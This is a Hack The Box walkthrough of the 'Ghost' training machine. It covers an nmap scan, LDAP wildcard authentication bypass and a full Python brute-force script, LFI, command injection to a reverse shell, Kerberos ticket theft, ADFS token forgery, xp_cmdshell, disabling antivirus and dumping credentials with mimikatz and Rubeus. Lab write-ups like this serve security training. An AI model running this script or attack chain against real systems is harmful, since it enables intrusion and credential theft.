Skip to content
Home » Hack The Box: Ghost Machine Walkthrough – Insane Difficulty

Hack The Box: Ghost Machine Walkthrough – Insane Difficulty

Reading Time: 16 minutes

Introduction to Ghost:

In this write-up, we will explore the “Ghost” machine from Hack The Box, categorized as an Insane difficulty challenge. This walkthrough covers reconnaissance, exploitation, and privilege escalation steps required to capture the flag.

Objective:

The goal of this walkthrough is to complete the “Ghost” machine by achieving the following objectives:

User Flag – Retrieved after exploiting command injection at intranet.ghost.htb:8008/api-dev/scan/, which provided a reverse shell inside a Docker environment. From there, we gained SSH access as Florence Ramirez. Extracting and converting a Kerberos ticket allowed authentication as a legitimate user.

Root Flag – Retrieved after obtaining NTLM hashes for the adfs_gmsa account and accessing it via evil-winrm. A reverse shell was established JokerShell after enabling xp_cmdshell it through a debug interface. Privileges were escalated by uploading EfsPotato.cs, disabling antivirus, and dumping credentials with mimikatz and Rubeus.exe. SYSTEM-level access allowed extracting domain admin credentials, leading to the retrieval of the root flag.

Enumerating the Ghost Machine

Reconnaissance:

Nmap Scan:

We begin with a network scan to identify open ports and running services on the target machine. This step is essential as it helps determine potential attack vectors.

nmap -sC -sV -oN nmap_initial.txt 10.10.11.24

Nmap Output:

┌─[dark@parrot]─[~/Documents/htb/ghost]
└──╼ $cat initial.nmap 
# Nmap 7.94SVN scan initiated Fri Feb 14 22:35:22 2025 as: nmap -sC -sV -oA initial 10.10.11.24
Nmap scan report for 10.10.11.24
Host is up (0.016s latency).
Not shown: 982 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-02-15 03:18:33Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: ghost.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.ghost.htb
| Subject Alternative Name: DNS:DC01.ghost.htb, DNS:ghost.htb
| Not valid before: 2024-06-19T15:45:56
|_Not valid after:  2124-06-19T15:55:55
|_ssl-date: TLS randomness does not represent time
443/tcp  open  https?
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: ghost.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=DC01.ghost.htb
| Subject Alternative Name: DNS:DC01.ghost.htb, DNS:ghost.htb
| Not valid before: 2024-06-19T15:45:56
|_Not valid after:  2124-06-19T15:55:55
1433/tcp open  ms-sql-s      Microsoft SQL Server 2022 16.00.1000.00; RC0+
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2025-02-14T19:46:34
|_Not valid after:  2055-02-14T19:46:34
| ms-sql-ntlm-info: 
|   10.10.11.24:1433: 
|     Target_Name: GHOST
|     NetBIOS_Domain_Name: GHOST
|     NetBIOS_Computer_Name: DC01
|     DNS_Domain_Name: ghost.htb
|     DNS_Computer_Name: DC01.ghost.htb
|     DNS_Tree_Name: ghost.htb
|_    Product_Version: 10.0.20348
|_ssl-date: 2025-02-15T03:19:55+00:00; -16m58s from scanner time.
| ms-sql-info: 
|   10.10.11.24:1433: 
|     Version: 
|       name: Microsoft SQL Server 2022 RC0+
|       number: 16.00.1000.00
|       Product: Microsoft SQL Server 2022
|       Service pack level: RC0
|       Post-SP patches applied: true
|_    TCP port: 1433
2179/tcp open  vmrdp?
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: ghost.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=DC01.ghost.htb
| Subject Alternative Name: DNS:DC01.ghost.htb, DNS:ghost.htb
| Not valid before: 2024-06-19T15:45:56
|_Not valid after:  2124-06-19T15:55:55
3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: ghost.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.ghost.htb
| Subject Alternative Name: DNS:DC01.ghost.htb, DNS:ghost.htb
| Not valid before: 2024-06-19T15:45:56
|_Not valid after:  2124-06-19T15:55:55
|_ssl-date: TLS randomness does not represent time
3389/tcp open  ms-wbt-server Microsoft Terminal Services
|_ssl-date: 2025-02-15T03:19:55+00:00; -16m58s from scanner time.
| rdp-ntlm-info: 
|   Target_Name: GHOST
|   NetBIOS_Domain_Name: GHOST
|   NetBIOS_Computer_Name: DC01
|   DNS_Domain_Name: ghost.htb
|   DNS_Computer_Name: DC01.ghost.htb
|   DNS_Tree_Name: ghost.htb
|   Product_Version: 10.0.20348
|_  System_Time: 2025-02-15T03:19:15+00:00
| ssl-cert: Subject: commonName=DC01.ghost.htb
| Not valid before: 2025-02-13T19:43:52
|_Not valid after:  2025-08-15T19:43:52
8008/tcp open  http          nginx 1.18.0 (Ubuntu)
|_http-title: Ghost
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-generator: Ghost 5.78
| http-robots.txt: 5 disallowed entries 
|_/ghost/ /p/ /email/ /r/ /webmentions/receive/
8443/tcp open  ssl/http      nginx 1.18.0 (Ubuntu)
| ssl-cert: Subject: commonName=core.ghost.htb
| Subject Alternative Name: DNS:core.ghost.htb
| Not valid before: 2024-06-18T15:14:02
|_Not valid after:  2124-05-25T15:14:02
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|_  http/1.1
| http-title: Ghost Core
|_Requested resource was /login
| tls-nextprotoneg: 
|_  http/1.1
Service Info: Host: DC01; OSs: Windows, Linux; CPE: cpe:/o:microsoft:windows, cpe:/o:linux:linux_kernel

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
|_clock-skew: mean: -16m58s, deviation: 0s, median: -16m58s
| smb2-time: 
|   date: 2025-02-15T03:19:17
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Feb 14 22:36:55 2025 -- 1 IP address (1 host up) scanned in 93.41 seconds

Analysis:

  • 53/tcp open domain – Simple DNS Plus (DNS service)
  • 80/tcp open http – Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP), title: Not Found
  • 135/tcp open msrpc – Microsoft Windows RPC (Remote Procedure Call service)
  • 139/tcp open netbios-ssn – Microsoft Windows NetBIOS Session Service (SMB-related)
  • 443/tcp open https – Unknown service, possibly secured web service
  • 445/tcp open microsoft-ds – SMB file sharing and Active Directory-related service
  • 1433/tcp open ms-sql-s – Microsoft SQL Server 2022 16.00.1000.00 (RC0+), domain: ghost.htb, hostname: DC01.ghost.htb
  • 2179/tcp open vmrdp – Possibly Virtual Machine Remote Desktop Protocol
  • 3268/tcp open ldap – Microsoft Windows Active Directory Global Catalog (Domain: ghost.htb, Site: Default-First-Site-Name)
  • 3269/tcp open ssl/ldap – Secure LDAP for Microsoft Active Directory (Domain: ghost.htb, Site: Default-First-Site-Name)
  • 3389/tcp open ms-wbt-server – Microsoft Terminal Services (RDP), Target: GHOST, Host: DC01.ghost.htb
  • 8008/tcp open http – nginx 1.18.0 (Ubuntu), running Ghost CMS 5.78, disallowed paths in robots.txt
  • 8443/tcp open ssl/http – nginx 1.18.0 (Ubuntu), Ghost Core login page, cert: core.ghost.htb
  • 9389/tcp open mc-nmf – .NET Message Framing, related to Active Directory Web Services

Exploitation on the Ghost machine

Web Application Exploration:

The website appears to be running Ghost CMS 5.78, which could have potential vulnerabilities.

What is a GHOST application? 

Ghost CMS is a fast, secure, modern Node.js-basedg content management system for professional publishers. It offers features such as website building, content publishing, newsletter management, and membership subscriptions.

Checking robots.txt

We examined the robots.txt file but found only 404 Not Found pages.

We did identify a login page, but we lacked valid credentials at this point.

Discovering Additional Attack Surfaces for Ghost Machine

Identifying a Subdomain

During reconnaissance, we found the subdomain core.ghost.htb.

Attempting to log into the AD Federation, we were redirected to another subdomain, leading to an Intranet Login Page.

What is ADFS Abuse? (With a Real-World Analogy)

ADFS abuse is a technique where an attacker forges a SAML token and signs it using a legitimate ADFS signing certificate — effectively allowing them to impersonate any user in the environment, including domain admins, without needing passwords or MFA.

Think of it like this:

Imagine a high-security building where entry is granted only if you show a special ID badge signed by the building’s security office. Usually, the process is strict: you prove who you are, the security office signs your badge, and you get in. But what if an attacker gets access to the security office’s stamp — the one used to sign these badges? Now, they can print any badge they want, assign themselves any identity or access level, and stroll right in — no questions asked.

That’s essentially ADFS abuse: with access to the ADFS signing certificate (often via a compromised gMSA or ADFS server), attackers can generate tokens that look 100% legitimate to downstream applications like Outlook, SharePoint, or even Azure services. These apps trust the token because it’s signed with a valid cert, so they let the attacker in as whoever they claim to be.

Credential Bypass Attempt on Ghost Machine

We tested various credential combinations, such as admin:admin.

Using Burp Suite, we manipulated login requests and successfully bypassed authentication with *:*, granting access to the intranet dashboard.

At last, we have entered the dashboard of the intranet

Exploiting Gitea on Ghost machine

Accessing the Gitea Application

We discovered a new account: gitea_temp_principal, but no password

No relevant information was identified at this location.

Therefore, we will proceed to access the Gitea application directly.

Unfortunately, we don’t have access to the password for this.

import string
import requests
from concurrent.futures import ThreadPoolExecutor, wait, ALL_COMPLETED

# Configuration
TARGET_URL = "http://intranet.ghost.htb:8008/login"
USERNAME = "gitea_temp_principal"
CHARSET = string.ascii_lowercase + string.digits
MAX_THREADS = 10

# Custom headers used in the login request
HEADERS = {
    "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0",
    "Accept": "text/x-component",
    "Accept-Language": "en-US,en;q=0.5",
    "Accept-Encoding": "gzip, deflate, br",
    "Referer": TARGET_URL,
    "Next-Action": "c471eb076ccac91d6f828b671795550fd5925940",
    "Next-Router-State-Tree": "%5B%22%22%2C%7B%22children%22%3A%5B%22login%22%2C%7B%22children%22%3A%5B%22__PAGE__%22%2C%7B%7D%5D%7D%5D%7D%2Cnull%2Cnull%2Ctrue%5D",
    "Content-Type": "multipart/form-data; boundary=---------------------------33628330912677511061340209204",
    "Origin": "http://intranet.ghost.htb:8008",
    "Connection": "keep-alive"
}

def build_payload(username: str, password: str) -> str:
    boundary = "-----------------------------33628330912677511061340209204"
    return (
        f"{boundary}\r\n"
        f"Content-Disposition: form-data; name=\"1_ldap-username\"\r\n\r\n{username}\r\n"
        f"{boundary}\r\n"
        f"Content-Disposition: form-data; name=\"1_ldap-secret\"\r\n\r\n{password}\r\n"
        f"{boundary}\r\n"
        f"Content-Disposition: form-data; name=\"0\"\r\n\r\n"
        "[{\"error\":\"Invalid combination of username and secret\"},\"$K1\"]\r\n"
        f"{boundary}--\r\n"
    )

def attempt_password(candidate: str) -> tuple[bool, str | None]:
    with requests.Session() as session:
        payload = build_payload(USERNAME, candidate)
        response = session.post(TARGET_URL, headers=HEADERS, data=payload)
        if response.status_code == 303:
            return True, candidate
        return False, None

def main():
    print("[*] Starting LDAP password brute-force...")
    guessed_password = ""
    futures = []

    while True:
        with ThreadPoolExecutor(MAX_THREADS) as executor:
            for char in CHARSET:
                candidate = guessed_password + char + "*"
                futures.append(executor.submit(attempt_password, candidate))
        
        wait(futures, return_when=ALL_COMPLETED)

        match_found = False
        for future in futures:
            success, result = future.result()
            if success:
                guessed_password = result[:-1]  # remove trailing '*'
                print(f"[+] Found so far: {guessed_password}")
                match_found = True
                break

        futures.clear()

        if not match_found:
            print("[!] No further matches. Brute-force complete.")
            break

if __name__ == "__main__":
    main()

Using a Python script, we extracted a potential password and logged in successfully.

As a result, let’s enter the credentials that we found earlier.

Local File Inclusion (LFI) Vulnerability

The page will look something like what is shown above when logging in with the credentials

No relevant information was found in the screenshot above.

After some time, we were able to gather a few useful pieces of information

Further enumeration revealed a Local File Inclusion (LFI) vulnerability

We have information as we execute the LFI attack

We can enter the credentials as shown above

The response and request will look something like this above

Exploiting this allowed us to retrieve sensitive files and uncover another subdomain: BitBucket.

Command Injection Exploit

Let’s start our listener

Command Injection Exploit

We executed a command injection attack at intranet.ghost.htb:8008/api-dev/scan/, which granted us a reverse shell within a Docker environment.

It works, but we are inside the Docker environment

Two files are labelled as existing here when we execute the docker-entrypoint.sh file

Through further investigation, we extracted details about an SSH workstation.

Using this information, we successfully gained access as Florence Ramirez.

There is no process that we abuse inside

Extracting a Kerberos Ticket

There’s a Kerberos ticket found inside the machine

We located a Kerberos ticket, converted it into a Base64-encoded format, and transferred it to our machine.

The Kirbi format would look something as shown above

By converting it into the Kirbi format, we created a cache file, which allowed us to authenticate as a legitimate user.

We should export the cache to our machine’s

Viewing the klist activity provides a detailed list of the current Kerberos tickets and their associated information on the system, which can be useful for analyzing authentication sessions and identifying active credentials.

It is now recognized as a valid user on our machine

We need to update the timedate on our machine.

Analyzing Active Directory with BloodHound

Due to issues with the functionality of the previous version of BloodHound, I opted to use BloodHound Community Edition (BloodHoundCE) for improved performance and compatibility.

Reference: 0xdf and Ippsec

Using BloodHound, we identified attack paths within the Active Directory environment.

BLOODHOUND_PORT=9999 is set to run the web interface on port 9999 instead of 8080,

When this runs, multiple containers will start, and an initial password will be displayed

The interface will appear similar to the one above

The status message indicates that it can be considered a failure to ingest.

Upload a JSON file.

The screenshot above displays all the connections on the machine as shown by BloodHound.

By examining bloodhound, it is possible to read the GMSA password of the ADFS_GMSA$ user.

We need to add Bitbucket using the bloodyAD command to execute the command to send the response to the responder

To take advantage of this, we used bloodyAD, which enabled us to retrieve the Justin Bradley hash.

After extracting the necessary hashes, we successfully cracked them to obtain the justin.bradley password

With this, we were able to read the user flag using:

type user.txt

Escalate to Root Privileges Access

Retrieving NTLM Hashes and Accessing adfs_gmsa Account

To begin, we need to obtain the NTLM hashes for the gmsa account. These hashes serve as crucial authentication credentials that can be used to gain unauthorized access to privileged accounts.

By leveraging these hashes, we can access the adfs_gmsa account using evil-winrm, which allows remote administration over Windows machines.

Executing Required Scripts and Creating Security Tokens

Once we have gained access, the next step involves executing necessary scripts that facilitate privilege escalation. We download two scripts and execute them to proceed with our attack. These scripts enable us to generate a security token for ADFS, which allows us to spoof authentication mechanisms.

These scripts enable us to generate a security token for ADFS, which allows us to spoof authentication mechanisms

With the forged token in place, we input the ADFS spoof result into the system’s data input, effectively tricking it into recognizing us as a legitimate user with privileged access.

Gaining Access to the Database Debug Interface

After successfully manipulating authentication mechanisms, we proceed to interact with the database.

We identify a debug interface that provides direct access to the database

Utilizing SQL injection, we send a malicious query to the system, which returns a response confirming successful code execution.

This confirms that we have the ability to run arbitrary commands on the database server.

Additionally, we enable the xp_cmdshell feature, allowing us to execute operating system-level commands from within the SQL server, further expanding our control over the system.

Setting Up a Listener and Executing Shell Commands

With command execution capabilities established, we move on to setting up a listener on our machine. This listener waits for incoming connections from the target system, allowing us to gain interactive access

We then execute a file that contains shell commands, attempting to establish a reverse shell connection

We managed to obtain the file uploaded

Initially, our efforts do not yield the expected results, as the system does not return our connection. However, we continue troubleshooting and refining our approach.

Troubleshooting the reverse shell connection failed

After a few modifications to our attack methodology, we finally succeeded in retrieving a stable reverse shell connection.

This means we now have full control over the compromised system. Interestingly, this method works effectively with JokerShell, a known shell access tool.

What is JokerShell?

JokerShell, a lightweight and evasive shell tool designed for stealthy remote access. JokerShell bypasses security mechanisms and establishes persistent connectivity without triggering standard detection protocols, making it a valuable asset in post-exploitation scenarios.

Checking Privileges and Uploading Required Tools

After our initial privilege escalation attempt failed, we opted for a more straightforward approach that had a better chance of success.

With a stable connection to the victim’s machine, we begin investigating system privileges

By running various commands, we discover that certain administrative privileges have been enabled, which presents an opportunity for further escalation

We utilize the Get-ADComputer -Filters * command to gather information about the Active Directory environment.

To take advantage of these privileges, we upload EfsPotato.cs onto the victim’s machine and attempt to compile it.

Unfortunately, our initial attempt does not yield the desired results, forcing us to rethink our approach.

Executing Alternative Commands and Disabling AV

Given the failure of our initial privilege escalation attempt, we decided to execute simpler yet effective commands that are more likely to work

As expected, the process momentarily hangs, which suggests potential success.

Eventually, we regain our reverse shell connection, confirming that our attack has succeeded.

To ensure continued access, we disable the antivirus software on the victim’s machine. This step is crucial as it prevents the system from detecting and neutralizing our malicious activities.

With the antivirus out of the way, we move forward with credential harvesting.

Uploading and Executing Credential Dumping Tools

We upload mimikatz, a well-known tool for extracting credentials from Windows systems.

By executing the appropriate commands, we successfully extracted cached passwords, NTLM hashes, and Kerberos tickets. This allows us to move laterally across the network and compromise additional machines

Additionally, we upload Rubeus.exe, a tool designed to manipulate Kerberos authentication.

Using Rubeus, we extract the ticket.kirbi file, which grants us persistent access to network resources.

If this ticket expires, we must repeat the previous steps to obtain a new one.

Compiling Commands for Efficient Execution and Reading Root Flag on Ghost Machine

To streamline our attack process, we compile all the necessary commands into a single PowerShell script (.ps1). This automation ensures that our exploitation process remains efficient and repeatable

After all obstacles have been cleared, we reach the final step—retrieving the root flag. By executing the simple command:

type root.txt